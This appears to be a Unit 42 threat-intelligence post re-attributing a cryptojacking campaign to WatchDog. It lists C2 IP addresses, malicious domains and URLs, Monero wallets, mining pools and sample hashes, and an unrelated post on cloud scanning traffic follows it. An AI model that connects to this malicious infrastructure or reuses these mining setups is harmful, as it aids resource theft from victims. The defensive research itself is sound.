Updated: New Evidence Emerges to Suggest WatchDog Was Behind Crypto Campaign

Author's Note

New evidence has emerged that suggests the group WatchDog was behind a cryptojacking campaign that we attributed to TeamTNT in a blog published on June 8, 2021. This updated information changed our view on the evidence initially gathered by Unit 42 researchers. 

Specifically, the domain oracle.zzhreceive[.]top was originally linked to TeamTNT operations due to the usage of the term zzhreceive, which has been witnessed within several TeamTNT operations. Given recent developments and the growing analytic visibility within the cloud research community, this domain has now been attributed to the cryptojacking operations associated with the group WatchDog.  The following is an update of our original blog, more accurately aligned to the current intelligence community information regarding WatchDog’s mimicry of TeamTNT operations.

Executive Summary

The copying and incorporation of cryptomining operational codebase or script functions have become a central behavioral indicator of cryptojacking groups and their operations. Unit 42 researchers have identified tactics, techniques and procedures (TTPs) used by the TeamTNT cryptojacking group being used by the WatchDog cryptojacking group. The new scripts from WatchDog are overtly copying TeamTNT infrastructure naming conventions and using a known WatchDog C2 hosting system, 199.199.226[.]117.

With the identification of these new WatchDog scripts, Unit 42 researchers found that techniques that have been synonymous with the TeamTNT group have gone missing. For instance, the new scripts do not:

Researchers have also observed that the new WatchDog scripts do not use the exploit-laden GoLang binaries traditionally associated with WatchDog.

While WatchDog is believed to be the author of these new scripts, several of the scripts were found within TeamTNT-owned public malware repositories. It appears that WatchDog may be attempting to expand their cryptojacking operations, while simultaneously masking their operations to appear more like the known cryptojacking operations performed by TeamTNT.

The stealing, hijacking or incorporation of cryptojacking TTPs within other cryptojacking operations has become a common trend within cryptojacking groups. Most notably, TeamTNT was reported to have copied the code used to detect and remove Alibaba Cloud Security from compromised instances from the Kinsing group. Also, cryptojacking groups such as “Rocke” began as a forked GitHub repository from the cryptojacking operation created by “The 8220 Mining Group.” This operation shares up to 30% of its cryptomining code base with tools developed by the group “Pacha.” Pacha and Rocke were subsequently involved in a documented crypto war, which has lasted nearly two years. While little research has been written on recent Pacha operations, Rocke is still developing new malware.

Palo Alto Networks customers running Prisma Cloud are protected from the threats presented in this report through the Runtime Protection feature, Cryptominer Detection feature and the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on an insufficient Kubernetes configuration and provides secure alternatives. Additionally, Palo Alto Networks VM-Series and CN-Series products offer cloud protections that can prevent network connections from cloud instances toward known malicious IP addresses and URLs.

New WatchDog Malware

There are two samples that show the evolution of WatchDog techniques to mimic TeamTNT operations, 36ca9f84864ad022c255b7d91e75997f035716e4df5dc1c90ee2651f092f5d79 and 49366ae4766492d94136ca1f715a37554aa6243686c66bf3c6fbb9da9cb2793d. These samples, first witnessed on Dec. 5 and 11, 2020, respectively, show the direct replacement of the known WatchDog C2 infrastructure with new C2 infrastructure. As shown in Figure 1, the original WatchDog infrastructure, in the dark blue rectangle, has been commented out of the bash script functionality and replaced with the new infrastructure seen in the light blue rectangle.

The original WatchDog infrastructure, in the dark blue rectangle, has been commented out of the bash script functionality and replaced with the new infrastructure seen in the light blue rectangle.
Figure 1. WatchDog infrastructure replacement.

The new script also makes use of the exact URL address directory tree pattern that is present within the known WatchDog operations, with the directories b2f628 (red) and b2f628fff19fda999999999 (orange), as shown in Figure 2.

The new script also makes use of the exact URL address directory tree pattern that is present within the known WatchDog operations, with the directories b2f628 (outlined in red) and b2f628fff19fda999999999 (outlined in orange).
Figure 2. URL directory pattern.

These two samples contain a hardcoded Monero (XMR) wallet address and an associated mining pool, as shown in Figure 3.

These two samples contain a hardcoded Monero (XMR) wallet address and an associated mining pool.
Figure 3. Monero wallet and associated mining pool.

Mining Pools

If these changes are indeed new TeamTNT behaviors, which is highly unlikely, it would represent the first time the TeamTNT cryptojacking operations have used a mining pool outside their traditional Monero mining pool, MoneroOcean[.]stream. This cryptojacking operation introduces two new mining pools never before known to be used by TeamTNT actors, but have been witnessed within WatchDog operations. These mining pools are nanopool[.]org, shown in Figure 4, and f2pool[.]com, shown in Figure 5. The new mining pools are both instructed to use the Monero wallet address, 43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz.

This cryptojacking operation introduces two new mining pools never before known to be used by TeamTNT actors, including nanopool[.]org, shown here.
Figure 4. Nanopool mining operation.
This shows the total revenue and other details observed in f2pool.

This cryptojacking operation introduces two new mining pools never before known to be used by TeamTNT actors, including f2pool[.]com, shown here.
Figure 5. F2pool mining operation.

Mining Pool Worker Information

Of note are the names of the mining pool workers associated with this Monero wallet address within the mining pools. According to nanopool[.]org records related to this Monero wallet address, there are a total of 20 unique workers, as shown in Figure 6.

According to nanopool[.]org records related to this Monero wallet address, there are a total of 20 unique workers.
Figure 6. Nanopool mining operation workers.
The following table, Table 1, lists 19 of the currently known malicious samples which contain the Monero wallet address, the Nanopool mining pool and the name of one of the workers listed within Figure 6.

SHA256 Worker
0414946ab4bced2c1c41f4b8a75be672b34bbdee6f29e0a0bf7946b93f7044b1 3910
34b547b567309618422d7075322ddf5b9e0b3a4fb652f3845d12fd649f23923e 3910
62957aa4421c044927269e9bf3300515cf01225fd4c3c3811f8ebfac7a9f8585 3910
f235c021baa6c8801e724d45003b1b1541eea5483810abc9c3eb4df6bf05afbf 3910
2bc6c21d35ed63b135b4723444a9ac532e4cb6aaa2bbd63c557136edb4e4756f crondk1
cbf54a9e5771fcb3760e4e282f003a879164e76b9df9fed0fe4e4e8aaaef11ae crondk1
428633aee75f7c69a7c0612e591d5fcecbcf13619d6c05b86c8303a248c7c8d7 dk2
7b6f7c48256a8df2041e8726c3490ccb6987e1a76fee947e148ea68eee036889 dk2
10fb8d16f7d168340be28c6d0ba94e10c15370c8747d97bc0e5fad4b4466cf09 dream
3b280a4017ef2c2aef4b3ed8bb47516b816166998462899935afb39b533890ad dream
8adc8be4b7fa2f536f4479fa770bf4024b26b6838f5e798c702e4a7a9c1a48c6 dream
af611a41c55e9afcfaced8b067a470caa70825fce0a44167f44a8d3880ae6674 dream
e1d7014b84618cd7fbf94439c78fe7d67f351cbc5536885fa3d94ea15325d83b dream
eca42c42f0909cf4e6df6bf8de35ab93ef6a3dd10d0d5e556721ec1871a9990c dream
ae6822d1fd097e8c52cea3731cd49f50600b7da83e9f0ea6dbc689685f907739 dream3
3b280a4017ef2c2aef4b3ed8bb47516b816166998462899935afb39b533890ad dream5
ae3e4a1c8a2b661265e6c8c756e3ba472dc7177cae79fe1861ab0c2d1af5167a dream6
8adc8be4b7fa2f536f4479fa770bf4024b26b6838f5e798c702e4a7a9c1a48c6 dream8
33da23085fb6fd7aad89e0c55b7ccbc2ee50fec4e8e31030e4b2a4ef034ac5f6 pokemon2

Table 1. Malware samples with hardcoded Nanopool mining operation workers.

There were also 13 malicious samples containing the 43Xb Monero wallet address, but these samples are designed to use the f2pool[.]com mining pool instead of the nanopool[.]org Monero mining pool (see Table 2).

SHA256 Worker WatchDog Wallet
f235c021baa6c8801e724d45003b1b1541eea5483810abc9c3eb4df6bf05afbf 3910
3d8a6f5d8162e8eb78e7b95384ec6418f65b904dffa8fd983a6a19a5645ad707 clean
c141eaeab461a2481124a73ee2d254301573d8722dbf3221f5fc54d7770e67a2 clean Yes
64072e7c56895f59124c4e26e0dd65a4de0bd8280c83372c18f9835978cda0e9 clean
30f0207b74d6d2d17cd8f4dc9f9131bd8763702f19c87ce74ea13a634f52c995 clean Yes
7a8c91f4228be4d36e1087acc9bb046373ddfde506fe4645ad1b0967c08bfa8b clean Yes
7848fc64c9977796dcc0ee67c293f006d715d3b3e257a3c0f4654cefab637c45 clean Yes
3e6cf5ae8ce6ff7305da4e218a20ec7f57933235ec07d7ff6e6a18c7c844ff29 clean Yes
8d9bdcae4a4559e52b3d03209a1ef880e948d9f3969f7779119d9322c5f7cf7c clean Yes
ab73aedbee66081cd047b19a4bb036f85791a9ae9abc90545c5d8756bbc2a428 clean Yes
eca42c42f0909cf4e6df6bf8de35ab93ef6a3dd10d0d5e556721ec1871a9990c dream
e47802d7f44fc9e594b89ef33298367d21695d5ec1ae5e6c526b9f3124c555ca Undefined
cf890e288f4fb7a2cfb0aa7e91229cc51c224e767c6ca69bbbb9d06e999ede64 Undefined

Table 2. Malware samples with hardcoded f2pool mining pool operation workers.

Seven samples within the previous table contain instructions to find and remove any processes using the WatchDog-identified 43XB Monero wallet address, as shown in Figure 7.

Seven samples within the previous table contain instructions to find and remove any processes using the TeamTNT-identified 43XB Monero wallet address.
Figure 7. Identification and killing of processes using the WatchDog Monero address.

The scripts will then rebuild mining operations and begin using two known WatchDog Monero wallet addresses, 82etS8QzVhqdiL6LMbb85BdEC3KgJeRGT3X1F3DQBnJa2tzgBJ54bn4aNDjuWDtpygBsRqcfGRK4gbbw3xUy3oJv7TwpUG4 and 87q6aU1M9xmQ5p3wh8Jzst5mcFfDzKEuuDjV6u7Q7UDnAXJR7FLeQH2UYFzhQatde2WHuZ9LbxRsf3PGA8gpnGXL3G7iWMv. These two Monero wallets are just two of the three known Monero wallets that are associated with the WatchDog cryptojacking group. Of note, the IP address listed within Figure 8, 139.99.102[.]72, resolves to the previously mentioned xmr-asia1.nanopool[.]org mining pool.

The IP address listed within Figure 8, 139.99.102[.]72, resolves to the previously mentioned xmr-asia1.nanopool[.]org mining pool.
Figure 8. WatchDog Monero wallet addresses.

Linking WatchDog Infrastructure to TeamTNT

The URL addresses and Monero wallet address, 87A5fSCR98nFSR9NCRxt6UFytca3hJXaRdDgf9NxhWTjT3q3AA8HECyZ1FdF93D5LPXsSqS8dKNsxCxafrbuVeZfMW3V7ib, specifically called out within the sample 36bf7b2ab7968880ccc696927c03167b6056e73043fd97a33d2468383a5bafce (see Figure 9), are known WatchDog indicators. However, the sample also includes the email address hilde@teamtnt[.]red, which is a known TeamTNT email address.

The URL addresses, email address and Monero wallet specifically called out within the sample 36bf7b2ab7968880ccc696927c03167b6056e73043fd97a33d2468383a5bafce are known TeamTNT indicators.
Figure 9. Known WatchDog indicators of compromise (IoCs), as well as the TeamTNT email address.

Now to the malware sample, 8adc8be4b7fa2f536f4479fa770bf4024b26b6838f5e798c702e4a7a9c1a48c6, which contains the new WatchDog Monero wallet, as shown in Figure 10. The same MOxmrigMOD URL address as the known TeamTNT IoC shown within Figure 9 is present, but in this sample we also see additional URL addresses that have very strong ties to WatchDog infrastructure, specifically those involving the domain name oracle.zzhreceive[.]top.

The malware sample, 8adc8be4b7fa2f536f4479fa770bf4024b26b6838f5e798c702e4a7a9c1a48c6, contains the new WatchDog Monero wallet.
Figure 10. New IoCs analyzed in surrounding text.

With the presence of the C2 infrastructure from these new scripts, Figure 9 and Figure 10, both of which use the WatchDog directory, b2f628, there is a clear link to the TeamTNT infrastructure. The domain oracle.zzhreceive[.]top resolves to the IP address 199.19.226[.]117, which is also the resolution IP address for the known TeamTNT subdomain zzhrecieve.anondns[.]net.

The usage of the anondns[.]net domain has been linked to several TeamTNT campaigns across multiple reports including, irc.anondns[.]net, ircbd.anondns[.]net, sampan.anondns[.]net and teamtntisback.anondns[.]net. Additionally, the 199.19.226[.]117 system has also been linked to WatchDog operations through the toolkit file 1.0.4.tar.gz, 51de345f677f46595fc3bd747bfb61bc9ff130adcbec48f3401f8057c8702af9, which was hosted on hxxp://global.bitmex[.]com[.]de/cf67355a3333e6/1.0.4.tar.gz and contains C code for the masscan utility, which is the same toolkit used in the TeamTNT operations. The bitmex[.]com[.]de URL had previously been linked to the WatchDog cryptojacking group.

TeamTNT Malware Repository

The malware repository 85.214.149[.]236:443/sugarcrm/themes/default/images/ contains known TeamTNT malware that includes the same files as the known TeamTNT repository hxxp://dockerupdate.anondns[.]net:443/sugarcrm/themes/default/images/, which is linked to TeamTNT via the malware sample 1aaf7bc48ff75e870db4fe6ec0b3ed9d99876d7e2fb3d5c4613cca92bbb95e1b, as shown in Figure 11.

The malware repository 85.214.149[.]236:443/sugarcrm/themes/default/images/ contains known TeamTNT malware that includes the same files as the known TeamTNT repository hxxp://dockerupdate.anondns[.]net:443/sugarcrm/themes/default/images/, which is linked to TeamTNT via the malware sample 1aaf7bc48ff75e870db4fe6ec0b3ed9d99876d7e2fb3d5c4613cca92bbb95e1b.
Figure 11. Known TeamTNT malware repository.
Of note, some the of malware samples included in this repository were the Kubernetes and Docker-focused malware, ‘kube.jpg’ and ‘tshd’, presented in Unit 42's Black-T blog, but these appear to no longer be used in the new scripts discussed within this blog. See the appendix for a full listing of the known TeamTNT malware metadata collected from the malware repository.

The malware sample 0414946ab4bced2c1c41f4b8a75be672b34bbdee6f29e0a0bf7946b93f7044b1 is of note in this context as it contains the hardcoded IP address, 199.19.226[.]117, as well as the hardcoded Monero wallet address associated with the nanopool and f2pool mining pools, and the mining workers previously discussed (Figures 12 and 13). As the previous section mentioned, the IP address 199.19.226[.]117 also resolves to the known TeamTNT domain zzhrecieve.anondns[.]net.

The malware sample 0414946ab4bced2c1c41f4b8a75be672b34bbdee6f29e0a0bf7946b93f7044b1 is of note in this context as it contains the hardcoded IP address, ‘199.19.226[.]117’, as well as the hardcoded Monero wallet address associated with the nanopool and f2pool mining pools, and the mining workers previously discussed.
Figure 12. WatchDog directory using TeamTNT infrastructure.
The malware sample 0414946ab4bced2c1c41f4b8a75be672b34bbdee6f29e0a0bf7946b93f7044b1 is of note in this context as it contains the hardcoded IP address, ‘199.19.226[.]117’, as well as the hardcoded Monero wallet address associated with the nanopool and f2pool mining pools, and the mining workers previously discussed.
Figure 13. WatchDog Monero wallet address within TeamTNT infrastructure.
Finally, another TeamTNT malware repository was identified by Unit 42 researchers, as shown in Figure 14. The larger Chimaera repository contains known TeamTNT cryptojacking scripts and binary files. Within the spread/redis directory, the file b.sh, 3b14c84525f2e56fe3ae7dec09163a4a9c03f11e6a8d65b021c792ad13ed2701, was found, which directly links TeamTNT to the cryptojacking operations expressed in this report.

Another TeamTNT malware repository was identified by Unit 42 researchers. The larger Chimaera repository contains known TeamTNT cryptojacking scripts and binary files. Within the spread/redis directory, the file b.sh, 3b14c84525f2e56fe3ae7dec09163a4a9c03f11e6a8d65b021c792ad13ed2701, was found, which directly links TeamTNT to the cryptojacking operations expressed in this report.
Figure 14. TeamTnT repository containing the b.sh script.

The b.sh script contains the 43xb TeamTNT and WatchDog Monero wallet address and points to the 199.19.226[.]117 TeamTNT and WatchDog IP addresses (Figure 15). It also contains a hardcoded link to a known TeamTNT cloud enumeration script hosted on the known TeamTNT domain borg[.]wtf, see Figure 16.

The b.sh script contains the 43xb TeamTNT and WatchDog Monero wallet address and points to the 199.19.226[.]117 TeamTNT and WatchDog IP addresses.
Figure 15. TeamTNT and WatchDog XMR wallet and IP address.
It also contains a hardcoded link to a known TeamTNT cloud enumeration script hosted on the known TeamTNT domain borg[.]wtf.
Figure 16. Known TeamTnT domain borg[.]wtf.
The borg[.]wtf domain was linked to TeamTNT via a previous Unit 42 report. The correlations between TeamTNT and WatchDog are intrinsically connected with this b.sh script.

Conclusion

Considering the above evidence, it appears that WatchDog operations have incorporated the TTPs of the TeamTNT cryptojacking group and have significantly increased their own cryptojacking operations. The new WatchDog operation does not appear to use the advanced functionalities TeamTNT has used recently, namely cloud credential scraping as well as targeted Kubernetes- and Docker-focused lateral movement and exploit scripts.

It’s also noteworthy that the new operation does not incorporate the more advanced GoLang binaries traditionally associated with WatchDog, which are capable of exploiting Windows- or NIX-based operating systems.

It appears that WatchDog actors are attempting to expand their cryptojacking operations, while simultaneously masking their operations with those of the known cryptojacking operations performed by TeamTNT. Unit 42 researchers will continue to monitor this cryptojacking event and provide updates as needed.

The following tips are highly recommended by Unit 42 researchers to assist in the protection of cloud infrastructure.

  • Monitor and block network traffic to known malicious endpoints.
  • Only deploy vetted container images within production environments.
  • Implement and use Infrastructure as Code (IaC) scanning platforms to prevent insecure cloud instances from being deployed into production environments.
  • Use cloud infrastructure configuration scanning tools that enable governance, risk management and compliance (GRC) to identify potentially threatening misconfigurations.
  • Use cloud endpoint agents to monitor and prevent the running of known malicious applications within cloud infrastructure.

Palo Alto Networks Prisma Cloud customers are protected from these threats through the Runtime Protection feature, Cryptominer Detection feature and the Prisma Cloud Compute Kubernetes Compliance Protection, which alerts on an insufficient Kubernetes configuration and provides secure alternatives. Additionally, Palo Alto Networks VM-Series and CN-Series products offer cloud protections that can prevent network connections from cloud instances toward known malicious IP addresses and URLs.

Indicators of Compromise

IP Addresses

103.125.218[.]107
47.253.42[.]213
176.123.10[.]57
39.100.33[.]209
45.9.150[.]36
106.15.74[.]113
45.9.148[.]35
13.245.9[.]147
85.214.149[.]236
45.9.148[.]37
199.19.226[.]117

URL Addresses

85.214.149[.]236:443/sugarcrm/themes/default/images/ hxxp://dockerupdate.anondns[.]net:443/sugarcrm/themes/default/images/

Domains

global.bitmex.com[.]de
gsearch.com[.]de
de.gsearch.com[.]de
oracle.zzhreceive[.]top
zzhreceive.anondns[.]net
projectbluebeam.anondns[.]net

Monero (XMR) Wallets

43Xbgtym2GZWBk87XiYbCpTKGPBTxYZZWi44SWrkqqvzPZV6Pfmjv3UHR6FDwvPgePJyv9N5PepeajfmKp1X71EW7jx4Tpz

Monero (XMR) Mining Pools

xmr-asia1.nanopool[.]org:14444
xmr.f2pool[.]com:13531
Xmr.pool.gntl.co[.]uk:10009
xmr.bohemianpool[.]com

Repository SHA256 Hashes
SHA256 FileName
a506c6cf25de202e6b2bf60fe0236911a6ff8aa33f12a78edad9165ab0851caf kube.jpg
e15550481e89dbd154b875ce50cc5af4b49f9ff7b837d9ac5b5594e5d63966a3 bioset.jpg
252bf8c685289759b90c1de6f9db345c2cfe62e6f8aad9a7f44dfb3c8508487a tshd.jpg
139f393594aabb20543543bd7d3192422b886f58e04a910637b41f14d0cad375 default.jpg
4f115381c17ba1dedb25d35d922feda9a723e206d811ed437b75fd8116ef461b 21.jpg
4a5d3435cd4a835056b4940e1cea9a25b1619562525bd9953a120b556b305983 22.jpg
feb0a0f5ffba9d7b7d6878a8890a6d67d3f8ef6106e4e88719a63c3351e46a06 mod.jpg
2c40b76408d59f906f60db97ea36503bfc59aed22a154f5d564d8449c300594f stock.jpg
9791ab0a00caf9de8df9eab1d8998d1b48bcc7c724b7d833cb1793cadc577e5f beta.jpg
72b1cbfbd87c6cd85b9dc1da48c852768003e7fb4f01d8f6904921474be199ad ms.jpg
b5f6d6114e1ce863675df1bf2e4bfaeac243e22bb399e64b9a96c6d975330b28 mo2.jpg
88585888c4dd2450cc885fc8b75b555ea6f924c78581d5eeae5b54b4b6951ac5 b_armv7l
ce5cd41711e74f11d8c01380194d9bb542da08733c81c317ec51089137330e0c blue.tmp.jpg
36bf7b2ab7968880ccc696927c03167b6056e73043fd97a33d2468383a5bafce mos.jpg
1aaf7bc48ff75e870db4fe6ec0b3ed9d99876d7e2fb3d5c4613cca92bbb95e1b nk.jpg
3ef459b97522a8e39953befa2e8c0e970bbbb0f7f9d3e1ff22b0f7759de04be1 b374k-master.zip
c0ab7d1caabdd090b2399cd1193d2cc2334218d3f3f0d3164b61b6014fd308e9 mod.js
230e2a06df2cd7574ee15cb13714d77182f28d50f83a6ed58af39f1966177769 Carray.jpg
b556d266b154c303bb90db005d7dd4267ed8d0e711e3fd32406c64b1fc977f9e local.jpg
78037e2d2e596bd450b99551535fa9c38c4e8346ab75eb424bf9e95316424fbe 01.jpg
f3b53ebc7cb45c57854059be00ccde4c05cb1d66c4c5c55a93072b76f07a9c38 armv7l_xmrig.jpg
ad1133cdcb486bab2368347b3ab35e83e5cd492c4bc6bfcb11a4b4c99d2c8014 xmrig-6.3.3-linux-static-x64.tar.gz
bc02d0f9ec27f3c8d23c2f4647007e37a86fd404df0eef76c081fbb895f1be1b ktu.jpg
2a373d3e3e61999af09322b35356d26f95e183b1bb6222cae24d28b7b00ca01f flink.jpg
bcfa215dec8fe15d4265c508c39c1ebafb7370acc95721e4e7d610b0459eb8dd jq.jpg
b63efd9cca6a7379bc2a7e2b1ef721eedb0f3ac95afc14f2dd8db34f95688523 logs
79a060a0efcf4a1538c58e532b984dcd927fda17ca9fd10c2ff212f9d9d76be6 det.jpg
b257a06a185f07e416f2b5ccc891fb799b82ce06bf1d4620d2439be65556c926 sok.js
b485e6ccc9cfeb9c2034cebfeaf1bb3b3db0ac9996e5260fc1e95ce852b757c4 ssh.jpg
Hashes Used in This Investigation
0414946ab4bced2c1c41f4b8a75be672b34bbdee6f29e0a0bf7946b93f7044b1
05963eaca329830c80a7fa2e9bea3b4ec2fe277f882f68be29befedb80d5738d
0910f78b68ccf1127a6a8f55d48b55c018149b4d5ab4a3fde56386a61c029ef4
10fb8d16f7d168340be28c6d0ba94e10c15370c8747d97bc0e5fad4b4466cf09
22174c47cb1aa38ee0f5030597671b2436f1394f8229dc9708863e2e567576e6
2bc6c21d35ed63b135b4723444a9ac532e4cb6aaa2bbd63c557136edb4e4756f
30f0207b74d6d2d17cd8f4dc9f9131bd8763702f19c87ce74ea13a634f52c995
33da23085fb6fd7aad89e0c55b7ccbc2ee50fec4e8e31030e4b2a4ef034ac5f6
34b547b567309618422d7075322ddf5b9e0b3a4fb652f3845d12fd649f23923e
36ca9f84864ad022c255b7d91e75997f035716e4df5dc1c90ee2651f092f5d79
3b14c84525f2e56fe3ae7dec09163a4a9c03f11e6a8d65b021c792ad13ed2701
3b280a4017ef2c2aef4b3ed8bb47516b816166998462899935afb39b533890ad
3b53ed760142431ad45e550fd7a8d5c44ea4342619d9882909d8e3936283ec72
3d8a6f5d8162e8eb78e7b95384ec6418f65b904dffa8fd983a6a19a5645ad707
3e6cf5ae8ce6ff7305da4e218a20ec7f57933235ec07d7ff6e6a18c7c844ff29
428633aee75f7c69a7c0612e591d5fcecbcf13619d6c05b86c8303a248c7c8d7
466823948c92531a171a5ecb04339074cabd9d700ae67ea332f82cb3838490d2
49366ae4766492d94136ca1f715a37554aa6243686c66bf3c6fbb9da9cb2793d
62957aa4421c044927269e9bf3300515cf01225fd4c3c3811f8ebfac7a9f8585
64072e7c56895f59124c4e26e0dd65a4de0bd8280c83372c18f9835978cda0e9
7848fc64c9977796dcc0ee67c293f006d715d3b3e257a3c0f4654cefab637c45
7a8c91f4228be4d36e1087acc9bb046373ddfde506fe4645ad1b0967c08bfa8b
7b6f7c48256a8df2041e8726c3490ccb6987e1a76fee947e148ea68eee036889
8adc8be4b7fa2f536f4479fa770bf4024b26b6838f5e798c702e4a7a9c1a48c6
8d9bdcae4a4559e52b3d03209a1ef880e948d9f3969f7779119d9322c5f7cf7c
ab73aedbee66081cd047b19a4bb036f85791a9ae9abc90545c5d8756bbc2a428
ae3e4a1c8a2b661265e6c8c756e3ba472dc7177cae79fe1861ab0c2d1af5167a
ae6822d1fd097e8c52cea3731cd49f50600b7da83e9f0ea6dbc689685f907739
af611a41c55e9afcfaced8b067a470caa70825fce0a44167f44a8d3880ae6674
c141eaeab461a2481124a73ee2d254301573d8722dbf3221f5fc54d7770e67a2
c850fa9c2cdcf77dc0e7732785473db8881efe49935ddb7c6da9f3d1911a469f
cbf54a9e5771fcb3760e4e282f003a879164e76b9df9fed0fe4e4e8aaaef11ae
cf890e288f4fb7a2cfb0aa7e91229cc51c224e767c6ca69bbbb9d06e999ede64
e1d7014b84618cd7fbf94439c78fe7d67f351cbc5536885fa3d94ea15325d83b
e47802d7f44fc9e594b89ef33298367d21695d5ec1ae5e6c526b9f3124c555ca
eca42c42f0909cf4e6df6bf8de35ab93ef6a3dd10d0d5e556721ec1871a9990c
f235c021baa6c8801e724d45003b1b1541eea5483810abc9c3eb4df6bf05afbf

 

Network Scanning Traffic Observed in Public Clouds

Executive Summary

Tracking network scanning activities can help researchers understand which services are being targeted. By monitoring the origins of the scanners, researchers can also identify compromised endpoints. If a host belonging to a known organization suddenly starts to scan a part of the internet, it is a strong indicator that the host is compromised.

This blog summarizes our findings over a four-month period, from May-August 2021. On average, we identified 75,000 unique scanner IP addresses globally that enumerated more than 9,500 different ports every day. On an internet-facing endpoint, we observed 1,500 unique scanner IPs targeting 1,900 ports daily. Because not every scanner scans the entire IPv4 address space, the number of scanners observed on each endpoint is lower than the total number of scanners observed globally.

Samba, Telnet and SSH were the three most scanned services, accounting for 36% of scanning traffic globally. Among all the scanners we observed, 64% of the IPs appeared only once throughout the four months, while 0.15% of the IPs appeared every day. The high percentage of ephemeral IPs indicates that the majority of the scanners are difficult to track. On the other hand, most legitimate scanning service providers – such as Shodan, Censys and Shadowserver – usually use a fixed set of IPs and make their scanners identifiable via explicit user agents or domain names. A list of the most frequent scanner IPs identified in this research is available on GitHub.

Prisma Cloud is a comprehensive cloud native security platform that protects cloud workloads across multiple cloud service providers (CSPs). Unit 42 researchers analyzed trillions of Flow Logs collected by Prisma Cloud to extract network scanning traffic. Combining threat intelligence from AutoFocus and WildFire, Prisma Cloud continuously monitors malicious traffic targeting our customers and malicious traffic originating from our customers' cloud environments.

Scanning Traffic Identification

Flow Logs are a feature that logs the IP traffic flowing to and from cloud resources such as virtual machines (VMs), containers and functions. All major CSPs offer their versions of Flow Logs (AWS, Azure and GCP). Like NetFlow data, Flow Logs are far less detailed than full packet captures but provide an efficient way to monitor network performance and security issues at scale. Typically, each Flow Log record includes source IP, destination IP, source port, destination port, IP protocol number, packet size, byte size and timestamp. Depending on the CSP, each flow record may include additional cloud-specific information such as account ID and resource ID.

Because Flow Logs do not have Layer 7 application information, it is difficult to determine if a flow carries scanning payloads from a single record. However, with the Flow Logs from tens of thousands of endpoints, we can reliably identify the scanning traffic by correlating flow records between multiple CSPs, regions and customers. If a source IP reaches a large number of endpoints within a short time and all flows have a similar byte/packet size, there is a strong indication that the source IP is performing a scanning operation. Below are the metrics and conditions we use to identify scanning traffic in Flow Logs:

  • The source IP reaches multiple endpoints in different CSPs, accounts and regions.
  • The source IP reaches all the endpoints in a short timeframe (e.g. within six hours).
  • The source IP uses the same protocol to reach the same port on all the endpoints (e.g. TCP on port 22 ).
  • The source IP has a similar traffic pattern across all the endpoints. In particular, the variance of packet size, byte size and flow count across all the endpoints need to be lower than a threshold.

Scanning Traffic Characteristics

Internet-wide scanning traffic typically performs only reconnaissance and doesn't carry malicious payloads. However, malicious actors can use the scanning results to identify a victim, learn the victim's infrastructure and find potential entry points. From a defense perspective, network scanning information can help understand attackers' targets. Knowing the scanning traffic, SOC analysts can also filter it out from the network logs to make forensic jobs more efficient.

Figure 1 shows the top 20 countries where the scanner IPs originated. 25% of the scanning traffic came from either China or India. Prior research has shown that some internet service providers (ISPs) tend to have more malicious or attack traffic than others (see the following reports: Regional Threat, ASN Report and Domain Research).

Top 20 countries where we observed the largest number of scanner IPs originating based on our study of network scanning traffic. In order from largest to smallest, the list is: China, India, Vietnam, United States, Brazil, Hong Kong, Russia, Taiwan, Indonesia, Egypt, Thailand, Venezuela, Iran, South Korea, Mexico, Germany, Spain, Turkey, Ukraine, Greece and United Kingdom.
Figure 1. Top 20 countries where the largest number of scanner IPs originated.

Figure 2 looks into the ISPs that host the largest number of scanners. Out of the 760 ISPs we observed, the top two ISPs, CHINA UNICOM China169 Backbone and Chinanet, host 13% of the scanners. As most ISPs detect and ban their customers from generating scanning traffic, these top 20 ISPs likely have less restrictive policies on their clients' bandwidth usage. Note that these scanning activities may occur intentionally or unintentionally in customers’ environments. ISPs are not liable for their customers’ activities – such as using their IP addresses for scanning the internet.

Top 20 ISPs where the largest number of scanner IPs originated. In order from largest to smallest, the list is: China Unicom China 169 Backbone, Chinanet, National Internet Backbone, VNPT Corp, Data Communication Business Group, TE-AS, PT Telekonumikasi Indonesia, HKT Limited, CANTV Servicios, Venezuela, HK Kwaifong Group Limited, Telefonica Brasil S.A., Rostelecom, The Corporation for Financing & Promoting Technology, Uninet S.A. de C.V., Viettel Group, Korea Telecom, Digital Ocean-ASN, Iran Telecommunication Company PJS, TOT Public Company Limited, Hangzhou Alibaba Advertising Co. Ltd. and Telefonica de Espana.
Figure 2. Top 20 ISPs where the largest number of scanner IPs originated.

Overall, 96% of the scanning traffic is TCP, and only 4% of the traffic is UDP. Figures 3 and 4 show the most frequently scanned ports and protocols. Figure 3 shows the top 20 ports scanned by TCP, and Figure 4 shows the top 10 ports scanned by UDP. The label on each bar indicates the most commonly seen services deployed on the specific port and protocol. For example, Samba service typically runs on TCP port 445 and session initiation protocol typically runs on UDP port 5060.

Interestingly, one of the top three services is a half-century-old protocol, Telnet. Telnet is a simple command-line remote server management protocol that does not provide any security mechanism and was long ago replaced by the more secure protocol SSH. Based on prior Unit 42 research (Mirai Variant, Exploited SOHO Routers), we believe the scanning traffic is searching for misconfigured IoT devices that left Telnet services exposed and unprotected.

In our observations of network scanning traffic, we classified the top 20 most scanned TCP ports and their common services. In order from largest to smallest, the list is: 445 - MS-OS/SMB, 23 - Telnet, 22 - SSH, 5555 - MS dynamic CRM, 1433 - MS SQL Server, 80 - Http, 443 - Https, 81 - Alt Http, 6379 - Redis, 2323 - Alt Telnet, 8080 - Alt Http, 8443 - Alt Https, 8000 - Alt Http, 3389 - MS-RDP, 9200 - Elasticsearch, 8081 - Alt Http, 139 - Netbios/SMB, 8888 - Alt Http, 2375 - Docker, 21 - FTP.
Figure 3. Top 20 most scanned TCP ports and their common services.
We classified the top 10 most scanned UDP ports and their common services. In order from largest to smallest, the list is: 5060 - SIP, 1900 - SSDP/UPnP, 5353 - Multicast DNS, 1434 - SQL Server Browser, 123 - NTP, 161 - SNMP, 53 - DNS, 6881 - BitTorrent, 8080 - N/A, 8000 - N/A
Figure 4. Top 10 most scanned UDP ports and their common services.
The number of days the scanner IPs were observed (x-axis) vs. the number of scanner IPs (y-axis, in log scale).
Figure 5. Number of days that each scanner IP was seen within four months (in log scale).

